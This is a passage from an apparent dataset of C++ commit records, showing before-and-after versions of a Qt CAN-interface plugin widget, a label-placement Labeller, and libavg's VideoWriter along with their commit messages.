\/\/Qt::NoBrush);\n   \/\/clPainterT.drawLine(1, 1, 80, 80);\n\n   clIconP.paint(&clPainterT, pclEventV->rect(), Qt::AlignCenter);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ setPluginPath()                                                            \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::setPluginPath(QDir clPluginPathV)\n{\n   clPluginPathP = clPluginPathV;\n   qDebug() << \"INFO: Plugin Path is set to\" << clPluginPathP.absolutePath();\n}\n<commit_msg>Fix data type<commit_after>#include \"qcan_interface_widget.hpp\"\n\n#include <QDebug>\n#include <QPainter>\n#include <QPaintEvent>\n#include <QPalette>\n\n#include <QMessageBox>\n#include <QDir>\n#include <QMenu>\n#include <QPluginLoader>\n#include <QPoint>\n\n\n\/*----------------------------------------------------------------------------*\\\n** Class methods                                                              **\n**                                                                            **\n\\*----------------------------------------------------------------------------*\/\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget()                                                      \/\/\n\/\/ constructor                                                                \/\/\n\/\/----------------------------------------------------------------------------\/\/\nQCanInterfaceWidget::QCanInterfaceWidget()\n : QWidget()\n{\n   clIconP = QIcon(\":images\/network-icon.png\");\n   pclQCanInterfaceP = NULL;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget::mousePressEvent()                                     \/\/\n\/\/ handle mouse press events on window areas                                  \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::mousePressEvent(QMouseEvent * pclEventV)\n{\n   QList<QAction *> apclListActionsT;\n   QAction * pclActionT;\n   QPoint pos(this->mapFromParent(QCursor::pos()));\n   QMenu clContextMenuT(tr(\"CAN interface selection\"), this);\n\n   \/\/----------------------------------------------------------------\n   \/\/ check there are any plugins available\n   \/\/\n   if (!loadPlugin())\n   {\n       QMessageBox::information(this, \"ERROR\", \"Could not load the any plugins!\");\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ create context menu with all available plugins\n   \/\/\n   pclActionT = new QAction(\"Virtual\", this);\n   pclActionT->setIcon(QIcon(\":images\/network-icon.png\"));\n   apclListActionsT.append(pclActionT);\n   clContextMenuT.addAction(apclListActionsT.at(0));\n\n   qint32 slCntrT = 0;\n   while (slCntrT < aclPluginNameListP.count())\n   {\n      pclActionT = new QAction(aclPluginNameListP.at(slCntrT), this);\n      pclActionT->setIcon(aclIconListP.at(slCntrT));\n      apclListActionsT.append(pclActionT);\n      clContextMenuT.addAction(apclListActionsT.at(slCntrT+1));\n      slCntrT++;\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ evaluate click operation\n   \/\/\n   switch(pclEventV->button())\n   {\n      case Qt::LeftButton:\n\n         qDebug() << \"Left button pressed\";\n         \/\/-----------------------------------------------------\n         \/\/ show context menu\n         \/\/\n         pclActionT = clContextMenuT.exec(pos);\n\n         \/\/-----------------------------------------------------\n         \/\/ evaluate selection\n         \/\/\n         if (pclActionT != 0)\n         {\n            qint32 slIdxT = aclPluginNameListP.indexOf(pclActionT->text());\n            qDebug() << \"mousePressEvent(): select index ...\" << slIdxT;\n\n            pclQCanInterfaceP = NULL;\n            if (slIdxT > 0)\n            {\n               QPluginLoader clPluginLoaderT(aclPluginListP.at(slIdxT));\n               QObject *pclPluginT = clPluginLoaderT.instance();\n               if (pclPluginT)\n               {\n                   pclQCanInterfaceP = qobject_cast<QCanInterface *>(pclPluginT);\n               }\n            }\n\n            emit interfaceChanged(pclQCanInterfaceP);\n         } else\n         {\n            qDebug() << \"mousePressEvent(): no index selected\";\n         }\n         break;\n\n      case Qt::RightButton:\n         qDebug() << \"Right button pressed\";\n\n         break;\n\n      default:\n\n         break;\n   }\n   clicked(0);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ loadPlugin()                                                               \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nbool QCanInterfaceWidget::loadPlugin()\n{\n   QCanInterface *pclQCanIfT;\n\n   qInfo() << \"loadPlugin(): used plugin path\" << clPluginPathP.absolutePath();\n\n   \/\/----------------------------------------------------------------\n   \/\/ check plugin path\n   \/\/\n   if (!clPluginPathP.exists())\n   {\n      qWarning() << \"loadPlugin(): plugin path does not exist!\";\n      return false;\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ check plugins and create a list with valid plugins\n   \/\/\n   aclPluginNameListP.clear();\n   aclPluginListP.clear();\n   aclIconListP.clear();\n   foreach (QString clFileNameT, clPluginPathP.entryList(QDir::Files))\n   {\n      if (QLibrary::isLibrary(clPluginPathP.absoluteFilePath(clFileNameT)))\n      {\n         QPluginLoader clPluginLoaderT(clPluginPathP.absoluteFilePath(clFileNameT));\n         QObject *pclPluginT = clPluginLoaderT.instance();\n         if (pclPluginT)\n         {\n            pclQCanIfT = qobject_cast<QCanInterface *>(pclPluginT);\n            if (pclQCanIfT)\n            {\n               qInfo() << \"loadPlugin(): found\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"plugin.\";\n\n               \/\/-------------------------------------\n               \/\/ collect all information of valid plugin\n               \/\/ \\todo Get the PluginName and Icon\n               \/\/\n               aclPluginNameListP.append(pclQCanIfT->name());\n               aclIconListP.append(pclQCanIfT->icon());\n               aclPluginListP.append(clPluginPathP.absoluteFilePath(clFileNameT));\n            }\n         } else\n         {\n            qWarning() << \"loadPlugin(): plugin\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"could NOT be loaded or the root component object could NOT be instantiated!\";\n         }\n      } else\n      {\n         qWarning() << \"loadPlugin(): plugin\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"is NOT a library!\";\n      }\n   }\n\n   if (aclPluginNameListP.isEmpty())\n   {\n      qWarning() << \"loadPlugin(): NONE plugins have been found!\";\n      return false;\n   }\n\n   qInfo() << \"loadPlugin(): found\" << QString::number(aclPluginNameListP.count(),10) << \"available plugins.\";\n\n   return true;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget::paintEvent()                                          \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::paintEvent(QPaintEvent * pclEventV)\n{\n   qDebug() << \"Paint\" << pclEventV->rect();\n\n   QPalette clPaletteT(this->palette());\n   QPainter clPainterT(this);\n   QBrush brush = QBrush(Qt::transparent, Qt::NoBrush);\n   qDebug() << \"Brush\" << brush;\n   clPainterT.setPen((Qt::white));\n   clPainterT.setBrush(brush);\n   \/\/clPainterT.eraseRect(pclEventV->rect());\n   clPainterT.fillRect(pclEventV->rect(), QColor(0xE3, 0xE3, 0xE3)); \/\/Qt::NoBrush);\n   \/\/clPainterT.drawLine(1, 1, 80, 80);\n\n   clIconP.paint(&clPainterT, pclEventV->rect(), Qt::AlignCenter);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ setPluginPath()                                                            \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::setPluginPath(QDir clPluginPathV)\n{\n   clPluginPathP = clPluginPathV;\n   qDebug() << \"INFO: Plugin Path is set to\" << clPluginPathP.absolutePath();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \".\/labeller.h\"\n#include <Eigen\/Geometry>\n#include <QLoggingCategory>\n#include <vector>\n#include <map>\n#include \"..\/utils\/cuda_array_provider.h\"\n#include \".\/summed_area_table.h\"\n#include \".\/apollonius.h\"\n#include \".\/occupancy_updater.h\"\n#include \".\/constraint_updater.h\"\n\nnamespace Placement\n{\n\nQLoggingCategory plChan(\"Placement.Labeller\");\n\nLabeller::Labeller(std::shared_ptr<Labels> labels) : labels(labels)\n{\n}\n\nvoid Labeller::initialize(\n    std::shared_ptr<CudaArrayProvider> occupancyTextureMapper,\n    std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper,\n    std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper,\n    std::shared_ptr<ConstraintUpdater> constraintUpdater)\n{\n  qCInfo(plChan) << \"Initialize\";\n  if (!occupancySummedAreaTable.get())\n    occupancySummedAreaTable =\n        std::make_shared<SummedAreaTable>(occupancyTextureMapper);\n  occupancyUpdater = std::make_shared<OccupancyUpdater>(occupancyTextureMapper);\n\n  this->distanceTransformTextureMapper = distanceTransformTextureMapper;\n  this->apolloniusTextureMapper = apolloniusTextureMapper;\n  this->constraintUpdater = constraintUpdater;\n\n  costFunctionCalculator.setTextureSize(occupancyTextureMapper->getWidth(),\n                                        occupancyTextureMapper->getHeight());\n}\n\nvoid Labeller::cleanup()\n{\n  occupancySummedAreaTable.reset();\n  apolloniusTextureMapper.reset();\n  occupancyUpdater.reset();\n}\n\nvoid Labeller::setInsertionOrder(std::vector<int> ids)\n{\n  insertionOrder = ids;\n}\n\nstd::map<int, Eigen::Vector3f>\nLabeller::update(const LabellerFrameData &frameData)\n{\n  newPositions.clear();\n  if (!occupancySummedAreaTable.get())\n    return newPositions;\n\n  Eigen::Vector2i size(distanceTransformTextureMapper->getWidth(),\n                       distanceTransformTextureMapper->getHeight());\n  std::vector<Eigen::Vector4f> labelsSeed =\n      createLabelSeeds(size, frameData.viewProjection);\n\n  Apollonius apollonius(distanceTransformTextureMapper, apolloniusTextureMapper,\n                        labelsSeed, labels->count());\n  apollonius.run();\n  setInsertionOrder(apollonius.calculateOrdering());\n\n  Eigen::Matrix4f inverseViewProjection = frameData.viewProjection.inverse();\n\n  \/\/ TODO(SIR): iterate through labels specific order according to apollonius.\n  for (size_t i = 0; i < insertionOrder.size(); ++i)\n  {\n    int id = insertionOrder[i];\n    occupancySummedAreaTable->runKernel();\n\n    auto label = labels->getById(id);\n    auto anchor2D = frameData.project(label.anchorPosition);\n    float x = (anchor2D.x() * 0.5f + 0.5f) * width;\n    float y = (anchor2D.y() * 0.5f + 0.5f) * height;\n\n    std::cout << \"x \" << int(x) << \" y \" << int(y) << std::endl;\n    Eigen::Vector2i labelSizeForBuffer =\n        label.size.cast<int>().cwiseProduct(size).cwiseQuotient(\n            Eigen::Vector2i(width, height));\n\n    auto newPosition = costFunctionCalculator.calculateForLabel(\n        occupancySummedAreaTable->getResults(), label.id, x, y, label.size.x(),\n        label.size.y());\n\n    float newXPosition = std::get<0>(newPosition);\n    float newYPosition = std::get<1>(newPosition);\n\n    occupancyUpdater->addLabel(newXPosition, newYPosition,\n                               labelSizeForBuffer.x(), labelSizeForBuffer.y());\n\n    if (i + 1 < insertionOrder.size())\n    {\n      int nextId = insertionOrder[i + 1];\n      auto nextLabel = labels->getById(nextId);\n      auto nextAnchor2D = frameData.project(nextLabel.anchorPosition);\n      constraintUpdater->addLabel(\n          nextAnchor2D.head<2>().cast<int>(), nextLabel.size.cast<int>(),\n          anchor2D.head<2>().cast<int>(),\n          Eigen::Vector2i(newXPosition, newYPosition), label.size.cast<int>());\n    }\n\n    float newXNDC = (newXPosition \/ size.x() - 0.5f) * 2.0f;\n    float newYNDC = (newYPosition \/ size.y() - 0.5f) * 2.0f;\n    Eigen::Vector4f reprojected =\n        inverseViewProjection *\n        Eigen::Vector4f(newXNDC, newYNDC, anchor2D.z(), 1);\n    reprojected \/= reprojected.w();\n\n    newPositions[label.id] = toVector3f(reprojected);\n  }\n\n  return newPositions;\n}\n\nvoid Labeller::resize(int width, int height)\n{\n  this->width = width;\n  this->height = height;\n\n  costFunctionCalculator.resize(width, height);\n}\n\nstd::map<int, Eigen::Vector3f> Labeller::getLastPlacementResult()\n{\n  return newPositions;\n}\n\nstd::vector<Eigen::Vector4f>\nLabeller::createLabelSeeds(Eigen::Vector2i size, Eigen::Matrix4f viewProjection)\n{\n  std::vector<Eigen::Vector4f> result;\n  for (auto &label : labels->getLabels())\n  {\n    Eigen::Vector4f pos =\n        viewProjection * Eigen::Vector4f(label.anchorPosition.x(),\n                                         label.anchorPosition.y(),\n                                         label.anchorPosition.z(), 1);\n    float x = (pos.x() \/ pos.w() * 0.5f + 0.5f) * size.x();\n    float y = (pos.y() \/ pos.w() * 0.5f + 0.5f) * size.y();\n    result.push_back(Eigen::Vector4f(label.id, x, y, 1));\n  }\n\n  return result;\n}\n\n}  \/\/ namespace Placement\n<commit_msg>Pass right label sizes to ConstraintUpdater.<commit_after>#include \".\/labeller.h\"\n#include <Eigen\/Geometry>\n#include <QLoggingCategory>\n#include <vector>\n#include <map>\n#include \"..\/utils\/cuda_array_provider.h\"\n#include \".\/summed_area_table.h\"\n#include \".\/apollonius.h\"\n#include \".\/occupancy_updater.h\"\n#include \".\/constraint_updater.h\"\n\nnamespace Placement\n{\n\nQLoggingCategory plChan(\"Placement.Labeller\");\n\nLabeller::Labeller(std::shared_ptr<Labels> labels) : labels(labels)\n{\n}\n\nvoid Labeller::initialize(\n    std::shared_ptr<CudaArrayProvider> occupancyTextureMapper,\n    std::shared_ptr<CudaArrayProvider> distanceTransformTextureMapper,\n    std::shared_ptr<CudaArrayProvider> apolloniusTextureMapper,\n    std::shared_ptr<ConstraintUpdater> constraintUpdater)\n{\n  qCInfo(plChan) << \"Initialize\";\n  if (!occupancySummedAreaTable.get())\n    occupancySummedAreaTable =\n        std::make_shared<SummedAreaTable>(occupancyTextureMapper);\n  occupancyUpdater = std::make_shared<OccupancyUpdater>(occupancyTextureMapper);\n\n  this->distanceTransformTextureMapper = distanceTransformTextureMapper;\n  this->apolloniusTextureMapper = apolloniusTextureMapper;\n  this->constraintUpdater = constraintUpdater;\n\n  costFunctionCalculator.setTextureSize(occupancyTextureMapper->getWidth(),\n                                        occupancyTextureMapper->getHeight());\n}\n\nvoid Labeller::cleanup()\n{\n  occupancySummedAreaTable.reset();\n  apolloniusTextureMapper.reset();\n  occupancyUpdater.reset();\n}\n\nvoid Labeller::setInsertionOrder(std::vector<int> ids)\n{\n  insertionOrder = ids;\n}\n\nstd::map<int, Eigen::Vector3f>\nLabeller::update(const LabellerFrameData &frameData)\n{\n  newPositions.clear();\n  if (!occupancySummedAreaTable.get())\n    return newPositions;\n\n  Eigen::Vector2i size(distanceTransformTextureMapper->getWidth(),\n                       distanceTransformTextureMapper->getHeight());\n  std::vector<Eigen::Vector4f> labelsSeed =\n      createLabelSeeds(size, frameData.viewProjection);\n\n  Apollonius apollonius(distanceTransformTextureMapper, apolloniusTextureMapper,\n                        labelsSeed, labels->count());\n  apollonius.run();\n  setInsertionOrder(apollonius.calculateOrdering());\n\n  Eigen::Matrix4f inverseViewProjection = frameData.viewProjection.inverse();\n\n  \/\/ TODO(SIR): iterate through labels specific order according to apollonius.\n  for (size_t i = 0; i < insertionOrder.size(); ++i)\n  {\n    int id = insertionOrder[i];\n    occupancySummedAreaTable->runKernel();\n\n    auto label = labels->getById(id);\n    auto anchor2D = frameData.project(label.anchorPosition);\n    float x = (anchor2D.x() * 0.5f + 0.5f) * width;\n    float y = (anchor2D.y() * 0.5f + 0.5f) * height;\n\n    std::cout << \"x \" << int(x) << \" y \" << int(y) << std::endl;\n    Eigen::Vector2i labelSizeForBuffer =\n        label.size.cast<int>().cwiseProduct(size).cwiseQuotient(\n            Eigen::Vector2i(width, height));\n\n    auto newPosition = costFunctionCalculator.calculateForLabel(\n        occupancySummedAreaTable->getResults(), label.id, x, y, label.size.x(),\n        label.size.y());\n\n    float newXPosition = std::get<0>(newPosition);\n    float newYPosition = std::get<1>(newPosition);\n\n    occupancyUpdater->addLabel(newXPosition, newYPosition,\n                               labelSizeForBuffer.x(), labelSizeForBuffer.y());\n\n    if (i + 1 < insertionOrder.size())\n    {\n      int nextId = insertionOrder[i + 1];\n      auto nextLabel = labels->getById(nextId);\n      auto nextAnchor2D = frameData.project(nextLabel.anchorPosition);\n      Eigen::Vector2i nextLabelSizeForBuffer =\n          nextLabel.size.cast<int>().cwiseProduct(size).cwiseQuotient(\n              Eigen::Vector2i(width, height));\n      constraintUpdater->addLabel(\n          nextAnchor2D.head<2>().cast<int>(), nextLabelSizeForBuffer,\n          anchor2D.head<2>().cast<int>(),\n          Eigen::Vector2i(newXPosition, newYPosition), labelSizeForBuffer);\n    }\n\n    float newXNDC = (newXPosition \/ size.x() - 0.5f) * 2.0f;\n    float newYNDC = (newYPosition \/ size.y() - 0.5f) * 2.0f;\n    Eigen::Vector4f reprojected =\n        inverseViewProjection *\n        Eigen::Vector4f(newXNDC, newYNDC, anchor2D.z(), 1);\n    reprojected \/= reprojected.w();\n\n    newPositions[label.id] = toVector3f(reprojected);\n  }\n\n  return newPositions;\n}\n\nvoid Labeller::resize(int width, int height)\n{\n  this->width = width;\n  this->height = height;\n\n  costFunctionCalculator.resize(width, height);\n}\n\nstd::map<int, Eigen::Vector3f> Labeller::getLastPlacementResult()\n{\n  return newPositions;\n}\n\nstd::vector<Eigen::Vector4f>\nLabeller::createLabelSeeds(Eigen::Vector2i size, Eigen::Matrix4f viewProjection)\n{\n  std::vector<Eigen::Vector4f> result;\n  for (auto &label : labels->getLabels())\n  {\n    Eigen::Vector4f pos =\n        viewProjection * Eigen::Vector4f(label.anchorPosition.x(),\n                                         label.anchorPosition.y(),\n                                         label.anchorPosition.z(), 1);\n    float x = (pos.x() \/ pos.w() * 0.5f + 0.5f) * size.x();\n    float y = (pos.y() \/ pos.w() * 0.5f + 0.5f) * size.y();\n    result.push_back(Eigen::Vector4f(label.id, x, y, 1));\n  }\n\n  return result;\n}\n\n}  \/\/ namespace Placement\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2011 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\n#include \"VideoWriter.h\"\n#include \"OffscreenCanvas.h\"\n#include \"Player.h\"\n\n#include \"..\/graphics\/FBO.h\"\n\n#include <boost\/bind.hpp>\n\n#include <fcntl.h>\n#include <stdio.h>\n\nusing namespace std;\nusing namespace boost;\n\nnamespace avg {\n\nVideoWriter::VideoWriter(CanvasPtr pCanvas, const string& sOutFileName, int frameRate,\n        int qMin, int qMax, bool bSyncToPlayback)\n    : m_pCanvas(pCanvas),\n      m_sOutFileName(sOutFileName),\n      m_FrameRate(frameRate),\n      m_QMin(qMin),\n      m_QMax(qMax),\n      m_bHasValidData(false),\n      m_bSyncToPlayback(bSyncToPlayback),\n      m_bPaused(false),\n      m_PauseTime(0),\n      m_bStopped(false),\n      m_CurFrame(0),\n      m_StartTime(-1),\n      m_bFramePending(false)\n{\n    m_FrameSize = m_pCanvas->getSize();\n#ifdef WIN32\n    int fd = _open(m_sOutFileName.c_str(), O_RDWR | O_CREAT, _S_IREAD | _S_IWRITE);\n\n#else\n    int fd = open(m_sOutFileName.c_str(), O_RDWR | O_CREAT, S_IRWXU);\n#endif\n    if (fd == -1) {\n        throw Exception(AVG_ERR_VIDEO_INIT_FAILED, \n                string(\"Could not open output file '\") + m_sOutFileName + \"'. Reason: \" +\n                strerror(errno));\n    }\n#ifdef WIN32\n    _close(fd);\n#else\n    close(fd);\n#endif\n    remove(m_sOutFileName.c_str());\n    VideoWriterThread writer(m_CmdQueue, m_sOutFileName, m_FrameSize, m_FrameRate, \n            qMin, qMax);\n    m_pThread = new boost::thread(writer);\n    m_pCanvas->registerPlaybackEndListener(this);\n    m_pCanvas->registerFrameEndListener(this);\n    CanvasPtr pMainCanvas = Player::get()->getMainCanvas();\n    if (pMainCanvas != m_pCanvas) {\n        m_pFBO = dynamic_pointer_cast<OffscreenCanvas>(m_pCanvas)->getFBO();\n        m_pCanvas->registerPreRenderListener(this);\n    }\n}\n\nVideoWriter::~VideoWriter()\n{\n    stop();\n    m_pThread->join();\n}\n\nvoid VideoWriter::stop()\n{\n    if (!m_bStopped) {\n        if (!m_bHasValidData) {\n            writeDummyFrame();\n        }\n\n        m_bStopped = true;\n        m_CmdQueue.pushCmd(boost::bind(&VideoWriterThread::stop, _1));\n        \n        m_pCanvas->unregisterFrameEndListener(this);\n        m_pCanvas->unregisterPlaybackEndListener(this);\n        if (m_pFBO) {\n            m_pCanvas->unregisterPreRenderListener(this);\n        }\n    }\n}\n\nvoid VideoWriter::pause()\n{\n    if (m_bPaused) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \"VideoWriter::pause() called when paused.\");\n    }\n    if (m_bStopped) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \"VideoWriter::pause() called when stopped.\");\n    }\n    m_bPaused = true;\n    m_PauseStartTime = Player::get()->getFrameTime();\n}\n\nvoid VideoWriter::play()\n{\n    if (!m_bPaused) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \n                \"VideoWriter::play() called when not paused.\");\n    }\n    m_bPaused = false;\n    m_PauseTime += (Player::get()->getFrameTime() - m_PauseStartTime);\n}\n\nstd::string VideoWriter::getFileName() const\n{\n    return m_sOutFileName;\n}\n\nint VideoWriter::getFramerate() const\n{\n    return m_FrameRate;\n}\n\nint VideoWriter::getQMin() const\n{\n    return m_QMin;\n}\n\nint VideoWriter::getQMax() const\n{\n    return m_QMax;\n}\n\nvoid VideoWriter::onFrameEnd()\n{\n    \/\/ The VideoWriter handles OffscreenCanvas and MainCanvas differently:\n    \/\/ For MainCanvas, it simply does a screenshot onFrameEnd and sends that to the \n    \/\/ VideoWriterThread immediately.\n    \/\/ For OffscreenCanvas, an asynchronous PBO readback is started in onFrameEnd.\n    \/\/ In the next frame's onPreRender, the data is read into a bitmap and sent to \n    \/\/ the VideoWriterThread.\n    if (m_StartTime == -1) {\n        m_StartTime = Player::get()->getFrameTime();\n    }\n    if (!m_bPaused) {\n        if (m_bSyncToPlayback) {\n            readFrameFromFBO();\n        } else {\n            handleAutoSynchronizedFrame();\n        }\n    }\n    \n    if (!m_pFBO) {\n        getFrameFromPBO();\n    }\n}\n\nvoid VideoWriter::onPreRender()\n{\n    getFrameFromPBO();\n}\n\nvoid VideoWriter::readFrameFromFBO()\n{\n    if (m_pFBO) {\n        m_pFBO->moveToPBO(0);\n        m_bFramePending = true;\n    } else {\n        BitmapPtr pBmp = m_pCanvas->screenshot();\n        sendFrame(pBmp);\n    }\n}\n\nvoid VideoWriter::getFrameFromPBO()\n{\n    if (m_bFramePending) {\n        BitmapPtr pBmp = m_pFBO->getImageFromPBO();\n        sendFrame(pBmp);\n        m_bFramePending = false;\n    }\n}\n\nvoid VideoWriter::sendFrame(BitmapPtr pBitmap)\n{\n    m_CurFrame++;\n    m_bHasValidData = true;\n    m_CmdQueue.pushCmd(boost::bind(&VideoWriterThread::encodeFrame, _1, pBitmap));\n}\n\nvoid VideoWriter::handleAutoSynchronizedFrame()\n{\n    long long movieTime = Player::get()->getFrameTime() - m_StartTime - m_PauseTime;\n    double timePerFrame = 1000.\/m_FrameRate;\n    int wantedFrame = int(movieTime\/timePerFrame+0.1);\n    if (wantedFrame > m_CurFrame) {\n        readFrameFromFBO();\n        m_CurFrame = wantedFrame;\n    }\n}\n\n\nvoid VideoWriter::onPlaybackEnd()\n{\n    stop();\n}\n\nvoid VideoWriter::writeDummyFrame()\n{\n    BitmapPtr pBmp = BitmapPtr(new Bitmap(m_FrameSize, B8G8R8X8));\n    sendFrame(pBmp);\n}\n\n}\n<commit_msg>Fixed VideoWriter framerate issue.<commit_after>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2011 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\n#include \"VideoWriter.h\"\n#include \"OffscreenCanvas.h\"\n#include \"Player.h\"\n\n#include \"..\/graphics\/FBO.h\"\n\n#include <boost\/bind.hpp>\n\n#include <fcntl.h>\n#include <stdio.h>\n\nusing namespace std;\nusing namespace boost;\n\nnamespace avg {\n\nVideoWriter::VideoWriter(CanvasPtr pCanvas, const string& sOutFileName, int frameRate,\n        int qMin, int qMax, bool bSyncToPlayback)\n    : m_pCanvas(pCanvas),\n      m_sOutFileName(sOutFileName),\n      m_FrameRate(frameRate),\n      m_QMin(qMin),\n      m_QMax(qMax),\n      m_bHasValidData(false),\n      m_bSyncToPlayback(bSyncToPlayback),\n      m_bPaused(false),\n      m_PauseTime(0),\n      m_bStopped(false),\n      m_CurFrame(0),\n      m_StartTime(-1),\n      m_bFramePending(false)\n{\n    m_FrameSize = m_pCanvas->getSize();\n#ifdef WIN32\n    int fd = _open(m_sOutFileName.c_str(), O_RDWR | O_CREAT, _S_IREAD | _S_IWRITE);\n\n#else\n    int fd = open(m_sOutFileName.c_str(), O_RDWR | O_CREAT, S_IRWXU);\n#endif\n    if (fd == -1) {\n        throw Exception(AVG_ERR_VIDEO_INIT_FAILED, \n                string(\"Could not open output file '\") + m_sOutFileName + \"'. Reason: \" +\n                strerror(errno));\n    }\n#ifdef WIN32\n    _close(fd);\n#else\n    close(fd);\n#endif\n    remove(m_sOutFileName.c_str());\n    VideoWriterThread writer(m_CmdQueue, m_sOutFileName, m_FrameSize, m_FrameRate, \n            qMin, qMax);\n    m_pThread = new boost::thread(writer);\n    m_pCanvas->registerPlaybackEndListener(this);\n    m_pCanvas->registerFrameEndListener(this);\n    CanvasPtr pMainCanvas = Player::get()->getMainCanvas();\n    if (pMainCanvas != m_pCanvas) {\n        m_pFBO = dynamic_pointer_cast<OffscreenCanvas>(m_pCanvas)->getFBO();\n        m_pCanvas->registerPreRenderListener(this);\n    }\n}\n\nVideoWriter::~VideoWriter()\n{\n    stop();\n    m_pThread->join();\n}\n\nvoid VideoWriter::stop()\n{\n    if (!m_bStopped) {\n        if (!m_bHasValidData) {\n            writeDummyFrame();\n        }\n\n        m_bStopped = true;\n        m_CmdQueue.pushCmd(boost::bind(&VideoWriterThread::stop, _1));\n        \n        m_pCanvas->unregisterFrameEndListener(this);\n        m_pCanvas->unregisterPlaybackEndListener(this);\n        if (m_pFBO) {\n            m_pCanvas->unregisterPreRenderListener(this);\n        }\n    }\n}\n\nvoid VideoWriter::pause()\n{\n    if (m_bPaused) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \"VideoWriter::pause() called when paused.\");\n    }\n    if (m_bStopped) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \"VideoWriter::pause() called when stopped.\");\n    }\n    m_bPaused = true;\n    m_PauseStartTime = Player::get()->getFrameTime();\n}\n\nvoid VideoWriter::play()\n{\n    if (!m_bPaused) {\n        throw Exception(AVG_ERR_UNSUPPORTED, \n                \"VideoWriter::play() called when not paused.\");\n    }\n    m_bPaused = false;\n    m_PauseTime += (Player::get()->getFrameTime() - m_PauseStartTime);\n}\n\nstd::string VideoWriter::getFileName() const\n{\n    return m_sOutFileName;\n}\n\nint VideoWriter::getFramerate() const\n{\n    return m_FrameRate;\n}\n\nint VideoWriter::getQMin() const\n{\n    return m_QMin;\n}\n\nint VideoWriter::getQMax() const\n{\n    return m_QMax;\n}\n\nvoid VideoWriter::onFrameEnd()\n{\n    \/\/ The VideoWriter handles OffscreenCanvas and MainCanvas differently:\n    \/\/ For MainCanvas, it simply does a screenshot onFrameEnd and sends that to the \n    \/\/ VideoWriterThread immediately.\n    \/\/ For OffscreenCanvas, an asynchronous PBO readback is started in onFrameEnd.\n    \/\/ In the next frame's onPreRender, the data is read into a bitmap and sent to \n    \/\/ the VideoWriterThread.\n    if (m_StartTime == -1) {\n        m_StartTime = Player::get()->getFrameTime();\n    }\n    if (!m_bPaused) {\n        if (m_bSyncToPlayback) {\n            readFrameFromFBO();\n        } else {\n            handleAutoSynchronizedFrame();\n        }\n    }\n    \n    if (!m_pFBO) {\n        getFrameFromPBO();\n    }\n}\n\nvoid VideoWriter::onPreRender()\n{\n    getFrameFromPBO();\n}\n\nvoid VideoWriter::readFrameFromFBO()\n{\n    if (m_pFBO) {\n        m_pFBO->moveToPBO(0);\n        m_bFramePending = true;\n    } else {\n        BitmapPtr pBmp = m_pCanvas->screenshot();\n        sendFrame(pBmp);\n    }\n}\n\nvoid VideoWriter::getFrameFromPBO()\n{\n    if (m_bFramePending) {\n        BitmapPtr pBmp = m_pFBO->getImageFromPBO();\n        sendFrame(pBmp);\n        m_bFramePending = false;\n    }\n}\n\nvoid VideoWriter::sendFrame(BitmapPtr pBitmap)\n{\n    m_CurFrame++;\n    m_bHasValidData = true;\n    m_CmdQueue.pushCmd(boost::bind(&VideoWriterThread::encodeFrame, _1, pBitmap));\n}\n\nvoid VideoWriter::handleAutoSynchronizedFrame()\n{\n    long long movieTime = Player::get()->getFrameTime() - m_StartTime - m_PauseTime;\n    double timePerFrame = 